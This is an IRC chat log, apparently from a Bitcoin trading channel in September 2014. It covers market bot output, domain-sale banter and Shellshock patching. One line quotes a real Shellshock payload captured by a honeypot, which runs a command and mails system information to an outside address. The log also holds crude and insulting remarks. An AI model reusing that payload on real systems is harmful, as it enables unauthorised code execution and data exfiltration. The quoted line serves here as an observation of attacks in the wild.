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BingoBoingo: ;;ud peg
gribble: http://www.urbandictionary.com/define.php?term=peg | Dude 1: your such a peg, u said you didnt revise lol. by Frank MacE January 06, 2010. 377 189. Merch. 3. peg. For a woman to bugger a man with a strap-on.
cazalla: it's like super rake for poker
decimation: implication of peg to usd: they have some usd to trade
ben_vulpes: mircea_popescu: edulcorously?
mats_cd03: sounds like a good scam
ben_vulpes: <decimation> gov't pays for such 'research', most of which is pointless: http://www.sbir.gov/ << people say: "do this!" and I say "what innovation? we duct tape thinger a to tab b and make clients happy." they do not understand, and i cannot enlighten them without calling into question that which they value themselves upon.
assbot: SBIR.gov
asciilifeform: decimation: 'maclisp' had nothing whatsoever to do with apple.
asciilifeform: decimation: mit 'project mac'
decimation: ah I see. apparently symbolics later marketed a card to install in apple stuff though
asciilifeform: 'macivory'.
asciilifeform: https://www.youtube.com/watch?v=PrcGkLtNsY0
assbot: servo-string - YouTube
asciilifeform: (unrelated)
decimation: heh he should put some 'vibrato' on that
decimation: in other news, slightly less than everybody is going to university in the us these days: http://census.gov/newsroom/press-releases/2014/cb14-177.html
assbot: College Enrollment Declines for Second Year in a Row
penguirker: New blog post: http://contravex.com/2014/09/25/we-gon-party-like-its-19-hold-up-it-is/
BingoBoingo: http://www.hulu.com/watch/691075#i0,p241,d0
assbot: Watch South Park Online - Go Fund Yourself | Hulu
mircea_popescu: <decimation> in other news, slightly less than everybody is going to university in the us these days: << bwahahaha
mircea_popescu: should be "slightly more"
asciilifeform: this doesn't even tough upon the very special chumpatronic clients who are admitted, to flounder about in 7+ years of too-precious-to-flunk limbo.
asciilifeform: *touch upon
mircea_popescu: hm
pete_dushenski: was it 6 months that ver was donating millions? now, 1/1000 that. mircea_popescu was right, dood is broke: https://twitter.com/rogerkver/status/515344889807003649
assbot: I just donated $1K to the Global Learning XPRIZE because governments indoctrinate more than they educate. http://t.co/nkWMXwFR3R /Indiegogo
pete_dushenski: https://www.youtube.com/watch?v=orzhba2dV1A << nov 30, 2013
assbot: Bitcoin: $1,000,000 Bet Final Update! - YouTube
pete_dushenski: how time flies!
pete_dushenski: ;;bc,stats
gribble: Current Blocks: 322607 | Current Difficulty: 3.466142592397694E10 | Next Difficulty At Block: 324575 | Next Difficulty In: 1968 blocks | Next Difficulty In About: 1 week, 5 days, 7 hours, 12 minutes, and 0 seconds | Next Difficulty Estimate: 36061315489.5 | Estimated Percent Change: 4.03875
assbot: [HAVELOCK] [HASH] 629 @ 0.0014 = 0.8806 BTC [-]
pete_dushenski: http://imgur.com/G94f2bD
assbot: imgur: the simple image sharer
pete_dushenski: you've got derpy media writing a derpy article about a derpy politician with the absolute derpiest of ads.
pete_dushenski: how does that much lulz fit in one little screen cap?
pete_dushenski: the dreams beckon.
BingoBoingo: !up Shakespeare
kuzetsa: CVE-2014-3631, CVE-2014-6271, and CVE-2014-7169 patched, full system-wide stack smashing protection (via GCC 4.9.1 -- had to recompile every last binary package with the new GCC with the appropriate flags enabled) and a few other nice things done... yay!
assbot: [MPEX] [S.MPOE] 2853 @ 0.00075417 = 2.1516 BTC [+]
xmj: kuzetsa: did you secure your systems against the vuln in nss too?
kuzetsa: xmj: that vulnerability is not present on my system
kuzetsa: I haven't got anything using RSA in production at this time
kuzetsa: well... I mean my GPG key for authing with gribble is an RSA key but other than that
kuzetsa: and that isn't on the server, that's on my laptop
xmj: kuzetsa: that's one way to secure your systems, "yes" would've sufficed
xmj: :]
xmj: kuzetsa: hopefully your RSA key uses OpenSSH
kuzetsa: xmj: my PGP (GPG) key was generated using openssh, yeah
xmj: what
xmj: i did mean 'openssh' instead of 'nss
xmj: '
kuzetsa: hmm
kuzetsa: I meant openssl not openssh
xmj: hum how does one create pgp keys with openSSL ?
kuzetsa: gpg --gen-key
kuzetsa: and then when you select RSA it's done via openssl
xmj: oh
xmj: didn't know that one, thanks!
kuzetsa: oh
kuzetsa: crap
kuzetsa: I just audited and apparently I made an assumption which is not true
kuzetsa: gnupg uses libgcrypt for the RSA key generation :(
xmj: kuzetsa: even openssL would be Bad.
kuzetsa: realy? why?
kuzetsa: what's wrong with using openssl to generate RSA keys?
xmj: libressL or openssH? good. openssL? bad.
xmj: because it's full of bugs and other otherwise legacy crap http://opensslrampage.com/
kuzetsa glares at http://ww2.qfind.net/?__jsfail
kuzetsa: xmj: what did yoyu just try to link me anyway?
kuzetsa: it's got obfuscated redirectors and suspicious javascript in it
xmj: 3http://opensslrampage.org/
xmj: silly hackers not buying .com .net and .org at once, i wanted .org
kuzetsa: oooh
kuzetsa: so it was a domain squatter using the .com when the actual site is on .org... interesting
kuzetsa: I'm glad I didn't have a system policy which let that suspicious code run
kuzetsa: default allow for javascript is such failsauce
xmj: you mean, openssl?
kuzetsa makes a funny face emoji thiner IRL :/
kuzetsa: opensslrampage appears to be someone's blog who posts nothing but links to random-ass commits to the libressl repo
kuzetsa: it actually looks so shitty I think it might even be an automated thing done by a rather unimaginatve bot
BingoBoingo: Is that really a bad thing kuzetsa
assbot: [MPEX] [S.MPOE] 41700 @ 0.00075607 = 31.5281 BTC [+] {6}
BingoBoingo: !up pollos_gringos
Naphex: lol [26/Sep/2014:00:18:37 +0300] "GET / HTTP/1.1" 200 27100 "() { :; }; uname -a | mail -s 6775 ufquy@grandmamail.com" "curl/7.37.1" "-" script kiddies be leveling up:)
xmj: nice!
Naphex: for all that panic with bash not too many exploits hitting
Naphex: mostly just checks
Naphex: got like 10 hits, on 5 random honeypots
Naphex: all web checks
[]bot: Bet placed: 1 BTC for No on "Bitcoin to remain at or above $400 for two months" http://bitbet.us/bet/1051/ Odds: 23(Y):77(N) by coin, 23(Y):77(N) by weight. Total bet: 6.74150004 BTC. Current weight: 95,068.
assbot: [MPEX] [S.MPOE] 20400 @ 0.00075682 = 15.4391 BTC [+] {2}
assbot: [HAVELOCK] [PETA] 1423 @ 0.00058381 = 0.8308 BTC [-] {6}
assbot: [HAVELOCK] [PETA] 1043 @ 0.00057499 = 0.5997 BTC [-] {3}
assbot: [MPEX] [S.MPOE] 39962 @ 0.00075478 = 30.1625 BTC [-] {2}
assbot: [MPEX] [S.MPOE] 6700 @ 0.00075375 = 5.0501 BTC [-]
davout: hello assets
assbot: [MPEX] [S.MPOE] 21500 @ 0.00075326 = 16.1951 BTC [-] {2}
dub: bonjour
RagnarDanneskjol: http://bleacherreport.com/articles/2209929-buying-or-selling-every-top-10-team-as-playoff-championship-contender
assbot: Buying or Selling Every Top 10 Team as Playoff Championship Contender | Bleacher Report
assbot: [HAVELOCK] [RENT] 129 @ 0.0075 = 0.9675 BTC [+]
assbot: [MPEX] [S.MPOE] 23000 @ 0.00075133 = 17.2806 BTC [-]
RagnarDanneskjol: http://hackaday.com/2014/09/26/thp-semifinalist-nsa-away/
assbot: THP Semifinalist: NSA Away
assbot: [MPEX] [S.MPOE] 37000 @ 0.0007547 = 27.9239 BTC [+] {3}
[]bot: Bet placed: 1 BTC for Yes on "Bitcoin to drop under $350 before November" http://bitbet.us/bet/1034/ Odds: 37(Y):63(N) by coin, 37(Y):63(N) by weight. Total bet: 38.26575605 BTC. Current weight: 35,432.
assbot: [MPEX] [S.MPOE] 8500 @ 0.00075367 = 6.4062 BTC [-]
assbot: [MPEX] [S.MPOE] 12700 @ 0.00075133 = 9.5419 BTC [-]
assbot: [HAVELOCK] [AM1] 5 @ 0.145 = 0.725 BTC [+]
assbot: [MPEX] [S.MPOE] 27705 @ 0.00075053 = 20.7934 BTC [-] {2}
assbot: [MPEX] [S.MPOE] 12750 @ 0.00074867 = 9.5455 BTC [-]
kakobrekla: ;;tslb
gribble: Time since last block: 52 minutes and 56 seconds
assbot: [MPEX] [S.MPOE] 25200 @ 0.00074864 = 18.8657 BTC [-] {2}
punkman: http://i.imgur.com/F6TjkpK.jpg
RagnarDanneskjol: ha
punkman: look
punkman: oops
punkman: interesting stuff http://versu.com/about/how-versu-works/
assbot: How Versu works | Versu
RagnarDanneskjol: hmm
assbot: [HAVELOCK] [PETA] 3257 @ 0.00060535 = 1.9716 BTC [+] {5}
chetty: http://www.lewrockwell.com/2014/09/murray-n-rothbard/why-the-power-elite-loves-equality/
assbot: Why the Power Elite Loves Equality – LewRockwell.com
assbot: [MPEX] [S.MPOE] 7317 @ 0.00075242 = 5.5055 BTC [+]
assbot: [HAVELOCK] [AM1] 5 @ 0.145 = 0.725 BTC [+]
assbot: [MPEX] [S.MPOE] 33650 @ 0.00075228 = 25.3142 BTC [-]
assbot: [HAVELOCK] [PETA] 1399 @ 0.00057 = 0.7974 BTC [-] {3}
assbot: [MPEX] [S.MPOE] 36219 @ 0.00075285 = 27.2675 BTC [+] {2}
asciilifeform: RagnarDanneskjol: 'nsa away' << very sad. reading, see kids have almost correct idea (synched write of avalanche noise to two flash cards, etc) and then see - the plaintext is eaten up and shat out of 'android' phones...
RagnarDanneskjol: yes. i thought you'd appreciate the attempt
assbot: [HAVELOCK] [B.MINE] 62 @ 0.01099999 = 0.682 BTC [-] {4}
assbot: [HAVELOCK] [PETA] [PAID] 2.64497240 BTC to 1`149`988 shares, 230 satoshi per share
punkman: "It’s an impressive bit of work, especially in the RNG department." "This part of the build isn’t quite working yet"
assbot: [HAVELOCK] [SCRYPT] [PAID] 2.19430852 BTC to 29`438 shares, 7454 satoshi per share
assbot: [HAVELOCK] [B.MINE] [PAID] 1.09513638 BTC to 15`097 shares, 7254 satoshi per share
assbot: [HAVELOCK] [B.SELL] [PAID] 20.33158281 BTC to 15`097 shares, 134673 satoshi per share
punkman: asciilifeform: I'm looking for something like the Inform7 beast but with more Lisp. Where does one look for Lisp libraries and such?
asciilifeform: punkman: 'ZIL' (not to be confused with the soviet car)
asciilifeform: punkman: by infocom
assbot: [MPEX] [S.MPOE] 36440 @ 0.00075178 = 27.3949 BTC [-] {3}
mircea_popescu: so how goes everything this fine morning ?
chetty: http://phys.org/news/2014-09-black-holes.html
assbot: Researcher shows that black holes do not exist
asciilifeform: http://log.bitcoin-assets.com/?date=26-09-2014#845694 << lenat intro for those who missed
assbot: Logged on 26-09-2014 03:11:57; asciilifeform: there are two versions of the lenat story
mircea_popescu: i recall this black hole thing yest
asciilifeform: punkman: for libraries, http://www.cliki.net
assbot: CLiki: index
asciilifeform: https://en.wikipedia.org/wiki/Talk:Eurisko << mega-lol
assbot: Talk:Eurisko - Wikipedia, the free encyclopedia
asciilifeform: mircea_popescu: think millikan's experiment is a clusterfuck? in computer 'science', folks like lenat are schoolbook-famous for experiment that not only have not but cannot be replicated with available data.
mod6: %ob
atcbot: 45k@282 20k@273 7k@266 | 59k@198 6k@194 12k@190
mircea_popescu: im famous among a group of [girl]friends for this one trip I took one of them for at some point, that was never documented or repeated.
mircea_popescu: nothing wrong with that, people allowed their own intimacy.
mircea_popescu: course, it takes extra strength adolescent retardation to imagine it makes any sort of "science"
asciilifeform: mircea_popescu: intimacy - sure. but this one is in encyclopaedias, and fed to n00bs as actual data that has bearing on what is possible, worth doing, worth funding, etc.
mircea_popescu: but then again, the same sort of adolescent retardation is at work everywhere - what english speaker could hold his job if the artificial barriers were removed ?
mircea_popescu: who, of the singers are actually singers ? what businessman knows business ? etc.
mircea_popescu: the russian career criminals reportedly find the us, in spite of having the world's largest incarcerated population, doesn't even have good prisoners.
asciilifeform: famously.
ben_vulpes: what is a good prisoner?
mircea_popescu: course if you ask them, or if you watch their movies, they're total fucking experts.
asciilifeform: incidentally, it is because the prisons are run as a miniature copy of the entire empire
mircea_popescu: quite.
mircea_popescu: ben_vulpes hard to explain, in english.
ben_vulpes: the mind boggles at the thing mircea_popescu finds difficult to explain, in any language.
mircea_popescu: but if it helps, "russian career criminal" = вор
mircea_popescu: which sort-of reads like dop in romanian, which is a funny little word, meaning cork.
asciilifeform: i'll try.
asciilifeform: the american jailbirds have defective... понятия.
asciilifeform: see also http://log.bitcoin-assets.com/?date=12-09-2014#827009
assbot: Logged on 12-09-2014 00:06:32; asciilifeform: mircea_popescu: 'Rinduieli' ~= (arabic) 'adat' ?
mircea_popescu: asciilifeform it's deeper. they lack both the mind structures that make it necessary and possible, as well as the capacity of observation and reason that make the process unavoidable.
mircea_popescu: they are, in short, retarded.
xanthyos: in a privatized prison system, a "good prisoner" is one who consumes the least amount of food
asciilifeform: mircea_popescu: orlov termed this 'homo sapiens lite'
mircea_popescu: xanthyos a good deer is not the one that eats least.
mircea_popescu: it's the one that most convincingly stotts, say.
mircea_popescu: asciilifeform im not sure of the homo sapiens relation. the women are made of flesh, so in that sense it passes, but i have little clue what the males are made of.
mircea_popescu: possibly mushroom meal.
mircea_popescu: !up myriadgetsmehard
myriadgetsmehard: haha didn't expect voice. good morning to all!
mircea_popescu: ello. who're you ?
myriadgetsmehard: i am john. i are engineer. i also came to maybe discuss some bitcoin assets of mine
mircea_popescu: go right ahead, you have half an hour.
ben_vulpes: the correct usage is 'r'
myriadgetsmehard: i'd gpg auth but i am on me work computer
ben_vulpes: :P
myriadgetsmehard: so i don't know how any of you feel about bitpremier
mircea_popescu: !s bitpremier
assbot: 9 results for 'bitpremier' : http://search.bitcoin-assets.com/?q=bitpremier
ben_vulpes: ;;ident myriadgetsmehard
gribble: Nick 'myriadgetsmehard', with hostmask 'myriadgetsmehard!~bonerKILL@68-190-212-206.dhcp.gldl.ca.charter.com', is not identified.
ben_vulpes: who would you auth as, myriadgetsmehard ?
myriadgetsmehard: jdanks
myriadgetsmehard: So the bastard at http://bitpremier.com/ won't list my BTC domains. I'm a little pissed to be honest
assbot: The Bitcoin Luxury Marketplace
ben_vulpes: what does listing your btc domains mean?
ben_vulpes: ah, you have domains for sale.
ben_vulpes: noyrly luxury items, those.
myriadgetsmehard: I am trying to sell http://btc.events I also have a .rentals .holiday and .pub and others
assbot: btc.events is almost here!
assbot: [MPEX] [S.MPOE] 15650 @ 0.00075021 = 11.7408 BTC [-] {2}
ben_vulpes: "BitPremier currently lists only the following: real estate, autos (listed at $50k USD or more), jewelry and watches (listed at $5k USD or more), home goods and travel (listed at $5k USD or more), handbags and accessories (listed at $5K USD or more)"
mircea_popescu: so why's he a bastard ? domains aren't worth jack.
Duffer1: i thought bitpremier was a website for things that had value
ben_vulpes: case closed.
lobbes: ;;ticker
gribble: Bitstamp BTCUSD ticker | Best bid: 402.83, Best ask: 403.99, Bid-ask spread: 1.16000, Last trade: 403.99, 24 hour volume: 9982.83562326, 24 hour low: 396.53, 24 hour high: 414.35, 24 hour vwap: 406.132999441
asciilifeform: mention of 'handbag' -> spam
mircea_popescu: dude that bet...
myriadgetsmehard: mircea_popescu they only think .com's are valuable :/
asciilifeform: almost ironclad rule.
ben_vulpes: asciilifeform: "luxury" anything -> spam ?
mircea_popescu: myriadgetsmehard i doubt they think even those are valuable. i definitely would think much less of any marketplace that purports to sell 2nd market domain names.
myriadgetsmehard: i beg to differ. i think all these new TLDs have value. So I am asking for $500k for http://btc.events and a few others. BitPremier takes 5% but I'll offer the room 20% to any who can get one sold
assbot: btc.events is almost here!
myriadgetsmehard: It's not up to them to decide what is a premium domain or not. I say it's up to the whole free market, which they won't let me be a part of, it's also not really free
Duffer1: lmao
myriadgetsmehard: maybe i needa setup a gpg contract to get these sold for a commission.
ben_vulpes: myriadgetsmehard: put 'em in the OTC order book.
myriadgetsmehard: laugh if you want. i'm offering $100k in BTC to whoever can sell it. wil do ben_vulpes
ben_vulpes: that's the only free market with which you need concern yourself.
myriadgetsmehard: :)
ben_vulpes: to return to the previous topic of conversation: the incompetence of the prisoners implies incompetence of ratcatchers, non?
asciilifeform: myriadgetsmehard: pray tell, what is a 'ria' ?
asciilifeform: myriadgetsmehard: and why does yours get you hard
mircea_popescu: <myriadgetsmehard> It's not up to them to decide what is a premium domain or not. << because why, because it's up to you ?
mircea_popescu: have a glass o' water.
ben_vulpes: although i imagine the hardened russian finds the US street gang similarly incompetent.
ben_vulpes: asciilifeform: what's a "dget" ?
mircea_popescu: "i'm offering 100k in any currency to the salesman that sells this rock i found in the street for 500k"
asciilifeform: ben_vulpes: wouldntchalovetoknow
mircea_popescu: tyvm and stfu, you're offering 500k to the guy who does that, plus a little fee for allowing your pointless existence to be associated with his.
mircea_popescu: ben_vulpes ratcatchers << no.
myriadgetsmehard: bitcoins.com sold for how cheap?
myriadgetsmehard: asciilifeform there is no ria
mircea_popescu: if you were a hunter and moved to a difference cannuckistan, and all the moose you shot was the size of a chicken
mircea_popescu: you would NOT suspect it's your bullets that are the problem
ben_vulpes: i think it means he can stroke it to anything
mircea_popescu: myriadgetsmehard "random rock i found in street" != koh-i-noor
mircea_popescu: youi're doing this substitutive thinking thing wrong, it's amply discussed in the logs.
ben_vulpes: mircea_popescu: but the bullets are materially different. lathed shit, perhaps.
asciilifeform: ben_vulpes: we call those 'match grade' in usa
mircea_popescu: they do kill it, so the bullet story ends there.
myriadgetsmehard: So you don't think btc.events can make someone millions?
ben_vulpes: and also they only fly at 2kph
ben_vulpes: myriadgetsmehard: what is this, 90's domain bubble again?
ben_vulpes: 'cause btc?
asciilifeform: 'A SMURF listens to the Village for variable assignments. When a SMURF receives one, it makes the state transition and returns a list of inferences that must now hold. It is the responsibility of the Village to ensure that the inferences in the list become agreed upon by all Smurfs.'
myriadgetsmehard: ben_vulpes yes
asciilifeform: (actual u.s. nsa patent. https://www.google.com/patents/US7380224 )
assbot: Patent US7380224 - Method and system for non-linear state based satisfiability - Google Patents
ben_vulpes: that's nonsensical.
myriadgetsmehard: new gTLDs are the shit man. too many new domains (.com seekers) are shit imo
chetty: sadly enough some vc funded tard might it, don{t mean it will actually make money/have value
chetty: */might buy it
ben_vulpes: <myriadgetsmehard> new gTLDs are shit << ftfy
myriadgetsmehard: ben you are acting like the dinosaurs i get enough shit from man :)
ben_vulpes: !down myriadgetsmehard
ben_vulpes: add value or gtfo.
ben_vulpes: order book is over there. place orders and quit derping.
asciilifeform: https://www.google.com/search?tbm=pts&hl=en&q=national+security+agency << mega-lol-mine
assbot: national security agency - Google Search
chetty: https://pbs.twimg.com/media/BybM7KBCMAEVwGp.jpg
asciilifeform: patent US8414314 B1, 'Single-use USB port protector.' carry on, wunderwaffen, for victory.
mircea_popescu: lma
asciilifeform: https://www.google.com/patents/USD637658
assbot: Patent USD637658 - Game board - Google Patents
mats_cd03: 13:00:59 <+myriadgetsmehard> i beg to differ. i think all these new TLDs have value. So I am asking for $500k for http://btc.events and a few others. BitPremier takes 5% but I'll offer the room 20% to any who can get one sold
assbot: btc.events is almost here!
mats_cd03: 13:01:49 <+myriadgetsmehard> It's not up to them to decide what is a premium domain or not. I say it's up to the whole free market, which they won't let me be a part of, it's also not really free
mats_cd03: the nerve of some people
punkman: http://dealbook.nytimes.com/2014/09/25/marc-andreessen-sounds-warning-on-start-ups-burning-cash/
punkman: yeah not like he's giving them piles of cash
xmj: ...
mats_cd03: the HN comments are worrying
mats_cd03: some dummies with the 'oh its been goin on for a while now, nbd' ...
ben_vulpes: 'this time is different'
xmj: thing is
xmj: what ben says
xmj: as soon as people start saying This Time Is Different
xmj: and start rationalizing/hamstering WHY
mats_cd03: and then there's this, "I do agree valuations are artificially inflated, but before you start drawing parallels to 1999 and every financial bubble of years past remember there are companies with real revenue streams. Sure, there are the snapchat valuations which have no basis, but do uber, airbnb, dropbox, and the like not deserve billion dollar valuations?"
asciilifeform: hamstering !?
mats_cd03 facepalms
xmj: then its gonna be daaaaaaangerous not to be in a cashflow positive business
asciilifeform: as in, in arse ?
ben_vulpes: "arse hamster machine"
xmj: asciilifeform: hamstering as in rationalization hamster that runs in his wheel
asciilifeform: lol
xmj: ben_vulpes: go explain asciilifeform about that one please
asciilifeform though something slightly different
xmj: I DON'T WANNA.
mats_cd03: "hamstering" is not something that has evar been a thing
punkman: what is a rationalization hamster?
ben_vulpes: no thanks. it's retarded pua shit.
mats_cd03: you can't go and just coin your own things, man!
asciilifeform pictured the inquisitorial, then nazi, arse-rat-system
xmj: dont remember who coined it
xmj: asciilifeform: just 'cuz i'm german.
kakobrekla: mats_cd03 at this point you can coin your own coin.
asciilifeform: see also http://log.bitcoin-assets.com/?date=17-02-2014#511605
assbot: Logged on 17-02-2014 19:11:41; asciilifeform: here, author is almost certainly satisfying his own desires: http://actualhistory.ru/app/var/pub/files/86/41776_image_large.jpg
mats_cd03: anyway -- 'uber, airbnb' being companies that deserve bn USD valuations... apparently middle-men with no moats are incredibly valuable nao
asciilifeform: 'rectomurine cryptoanalysis.'
ben_vulpes: i can see that backfiring, asciilifeform
asciilifeform: ben_vulpes: ?
ben_vulpes: what about the guy who's into that sort of wriggling around?
ben_vulpes: (also, bad puns on the rear end)
asciilifeform: ben_vulpes: is he also 'into' the rat emerging from other side?
asciilifeform: idea is, he tunnels through.
xmj: ahahaha
ben_vulpes: bleaugh
xmj: the idea of having a rat tunnel through on the rear end.. sounds BAD.
kakobrekla: theres another story where they just put the rat on your belly and cover it so it cant escape. what happens is an exercise to the alert reader.
mats_cd03: is that soviet in origin asciilifeform? i noticed the idea first, in cult phenomenon Game of Thrones
asciilifeform: mats_cd03: at least 1000 years old.
mats_cd03: makes sense. what am i thinking.
ben_vulpes: 'abdominomurine etc'
mircea_popescu: <ben_vulpes> 'this time is different' << win.
mircea_popescu: <mats_cd03> but do uber, airbnb, dropbox, and the like not deserve billion dollar valuations?" <<< i agree that other people's shit stinks but isn't my doodoo all perfumed ?!
ben_vulpes: this consulting short isn't really that great of a short actually
mircea_popescu: <punkman> what is a rationalization hamster? << supposedly what women do when they've been rejected by a magical boy of magic, they go in a corner and worry and obsessively rethink the experience.
mircea_popescu: this is fundamentally different from what the boy in question does, on forums and while commuting.
penguirker: New blog post: https://www.bcoinnews.com/bfl-ftc/
mircea_popescu: the whole charade's a sort of "fine when we do it, evil/bad/wrong when they do it" thing.
mircea_popescu: and i mean both for VCs and for PUAs, and come to think about it the difference is negligible.
ben_vulpes: sure, it guarantees cash in pocket instead of worthless paper when the music stops, but all i'm left with when the music stops is a company that makes software in competition with all the other shartup engineers.
ben_vulpes: and maybe some cash.
ben_vulpes: supply, demand...
ben_vulpes: <mircea_popescu> this is fundamentally different from what the boy in question does, on forums and while commuting. << pah yup
mircea_popescu: ben_vulpes> sure, it guarantees << duh.
ben_vulpes: nothing is guaranteed, okay fine.
mircea_popescu: the difference between the shorts we want our shorts to be and the shorts our shorts actually are is the one thing that sinks businesses.
mircea_popescu: the ONLY one thing.
ben_vulpes: the only leg i can see hedging are btc holdings
assbot: [HAVELOCK] [PETA] 1034 @ 0.00055513 = 0.574 BTC [-] {6}
mats_cd03: http://queue.acm.org/detail.cfm?id=2673311
assbot: Security Collapse in the HTTPS Market - ACM Queue
mats_cd03: via /.
ben_vulpes: https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/
assbot: Shellshock DHCP RCE Proof of Concept -
assbot: [HAVELOCK] [PETA] 1850 @ 0.00054508 = 1.0084 BTC [-] {6}
asciilifeform: ben_vulpes: lol!
ben_vulpes: reel reel reel reel bad
asciilifeform: the mice, the mice.
mircea_popescu: o look. it's not that mpex didn't get hacked
mircea_popescu: it's that EVERYONE ELSE DID
penguirker: New blog post: http://trilema.com/2014/a-putea-putere/
mircea_popescu: i suppose every single entity in online finance, from paypal to icbc will now come and leave a comment on trilema saying "sorry, we're fucking stupid, you're right"
mircea_popescu: because the world is fair and people rational.
mircea_popescu: not like they'll cary on derping about "ux" and how their shit is worth not just money, but billions of it.
mircea_popescu: a well.
asciilifeform: mircea_popescu: putere << it all works fine in ru.
asciilifeform: mircea_popescu: try it.
mircea_popescu: asciilifeform yeah.
mircea_popescu: http://log.bitcoin-assets.com/?date=08-12-2013#411896
assbot: Logged on 08-12-2013 16:40:53; mircea_popescu: and the same princuople goes to the "devteam" retards implememnting pki
mircea_popescu: i seriously expect the entire world to now bow down to my superiority and explicitly recognise its inferiority, as a wholy owned, substantive characteristic of their own.
mircea_popescu: none of this "but mp, you never gave any proof". there's your motherfuc king proof now stfu and shine my boots.
mircea_popescu: asciilifeform this whole fiasco reminds me of naggum's discussion of the y2k thing.
asciilifeform: mircea_popescu: precisely it
asciilifeform: http://www.xach.com/naggum/articles/3140985758772364@naggum.no.html
assbot: Re: Is LISP dying? - Naggum cll archive
mircea_popescu: the one thing all those idiots will never say is exactly the only thing they should be saying at all : this other guy didn't do it, he is our king, our lord, our sovereign, and so much better than we may even aspire to one day be.
thestringpuller: http://cogcoop.com/
assbot: COG Site
ben_vulpes: what is a bitcoin application?
assbot: [HAVELOCK] [HASH] 750 @ 0.00169999 = 1.275 BTC [+] {3}
mats_cd03: its social good through financial freedom, man.
ben_vulpes: financial freedom is the only social good
asciilifeform: 'another way to look at this is to see that software in today's society has a number of diseased elements, to consider that maggots eat only diseased or dead tissue, that dead or dying software projects lie around all over the place, like a horrible war zone between ignorant users and frightened managers, and pretend that you're a maggot. you wouldn't care about the living and the healthy who prosper outside th
asciilifeform: e war zone, you'd rush to the war zone to join the feeding frenzy, right? so, to complete the grim picture, software in our society is diseased, the activity you read about are all about cleaning up the disasters and surviving the equivalent of plagues, and it just takes a tremendous amount of people and work to keep the whole system from dying, like the incredibly stupid year-2000 problem.'
asciilifeform: 'to take but one simple example: suppose you thought of the new millennium when you wrote your application back in 1972 -- not only wouldn't you be invited to the party, those who knew you had done it right from the start and who probably laughed at you at the time would positively hate you now, and they sure as hell wouldn't tell people about you. and the more stupid they are, the more important it would be to
asciilifeform: pretend that nobody was smart enough to see the next millennium coming.'
asciilifeform: (herr naggum)
thestringpuller: RIP Naggum
thestringpuller: His story is as tragic as a jazz musician.
mats_cd03: i thought the eulogy was beautifully written
mircea_popescu: like a horrible war zone between ignorant users and frightened managers << the exact fucking problem.
mats_cd03: if not terrible. almost as though she read "Speaker of the Dead", and thought, "ill do that, but better."
mircea_popescu: a frightened manager is about as useful as a punctured set of wellington boots.
mircea_popescu: mats_cd03 naggum's ? yes, formaly it's great.
mircea_popescu: substantively i find it offensive.
kakobrekla: http://shrani.si/f/2Y/SL/4sFlbIcT/this-time-next-year.png
kakobrekla: we will be millionaires!
mircea_popescu: lol
chetty: http://www.abc15.com/news/region-phoenix-metro/central-phoenix/fired-ups-worker-accused-of-stealing-160k-diamond-trading-it-for-20-worth-of-marijuana
assbot: Fired UPS worker Walter Earl Morrison accused of stealing $160K diamond, trading it for marijuana - ABC15 Arizona
asciilifeform: chetty: lol, they actually sent such a thing via commercial parcel co. instead of courier ?
mats_cd03: i wonder how easy it is to fence diamonds
mats_cd03: i suspect it is not really that valuable
mats_cd03: http://www.cnbc.com/id/102033875 >> USSOCOM plugs bitcoin foundation...
mats_cd03: "The bitcoin community doesn't necessarily endorse U.S. foreign policy, and the bitcoin community doesn't necessarily endorse everything the U.S. intelligence community does." But, he said, "things that are morally wrong, bitcoin rejects." ...
thestringpuller: Bitcoin Foundatoin shouldn't be in the US
thestringpuller: There shouldn't be a Bitcoin Foundation at all.
thestringpuller: !s web of trust database
assbot: 0 results for 'web of trust database' : http://search.bitcoin-assets.com/?q=web+of+trust+database
thestringpuller: !s wot database
assbot: 1 results for 'wot database' : http://search.bitcoin-assets.com/?q=wot+database
thestringpuller: http://log.bitcoin-assets.com/?date=11-08-2014#789979 << for back reference
assbot: Logged on 11-08-2014 04:12:46; Jason: http://cahier2.ww7.be/bitcoinmirror/otc/today/
assbot: [MPEX] [S.MPOE] 18755 @ 0.000753 = 14.1225 BTC [+]
penguirker: New blog post: http://trilema.com/2014/today-is-the-international-day-of-remembering-how-mircea-popescu-is-better-than-me-and-related-observances/
mircea_popescu: pete_dushenski: how does that much lulz fit in one little screen cap?<< guy kinda looks like a walrus
mircea_popescu: kuzetsa: I just audited and apparently I made an assumption which is not true << ahem.
thestringpuller: yay! how do I celebrate?
mircea_popescu: Naphex: for all that panic with bash not too many exploits hitting << the good stuff happebed prior to the release.
mircea_popescu: thestringpuller bake cookies ?
thestringpuller: already done
asciilifeform: mircea_popescu: today-is-the << great 'muhahahaha!' piece.
thestringpuller: i love having 18900 trilema credits
mircea_popescu: asciilifeform gotta do things to the fullest i say
mircea_popescu: i can almost imagine some guy in say 2035 having to interact with that.
thestringpuller: this article is the best thing ever
asciilifeform: mircea_popescu: the unsettling discovery is that mass-derp can continue far longer than the example under consideration. e.g., 'crypto ag' still exists, multi-$b, 'unknown' ownership, and... multi-decade loyal customers.
asciilifeform: there is a particular species of chumpatronium, what one might call a chumpassal (chump, vassal)
asciilifeform: who demonstrates subservience by volunteering to wear the collar.
mircea_popescu: hm ?
asciilifeform: i think this even came up here once. u.s. corps deliberately closing eyes to back orifices of all kinds, to avoid the red tape of subpoenas
asciilifeform: quite like the u.s. demand that eu 'galileo' sat. constellation have a u.s.-owned remote 'off' switch - 'or we'll have to shoot'
asciilifeform: (^ what happened to that? i've no idea, ask them)
mircea_popescu: not that it changes anything really.
mircea_popescu: !up Kuba1234_
mircea_popescu: asciilifeform the fact that the eu even considered that demand, and i don't mean answer to it, but even considered it
mircea_popescu: puts the whole pretense of representativity into question.
asciilifeform: obligatory, orlov's deer hunter... http://log.bitcoin-assets.com/?date=09-07-2014#750027
assbot: Logged on 09-07-2014 00:50:59; asciilifeform: '…we need a word that describes the artifacts generated in response to irrational actors who demand to be fooled. As the old saying goes, “A fool and his money are soon parted” – at the fool’s own insistence, no less! If the deer comes out of the forest and walks up to the hunter, it is not proper hunting, and this is not proper con artistry or grift or embezzlement or any other term we use to describ
assbot: [MPEX] [S.MPOE] 40900 @ 0.000753 = 30.7977 BTC [+]
asciilifeform: we have an instance of symbiosis.
mircea_popescu: i am unconvinced.
asciilifeform: well, naturally. right now folks have to choose between 'rich and healthy or poor and diseased.' because actual security is expensive (the way unicorn meat is expensive)
asciilifeform: but if it were an actual option, appealing to beggar and miser alike, then we know if deliberate bending over is the actual phenomenon at work
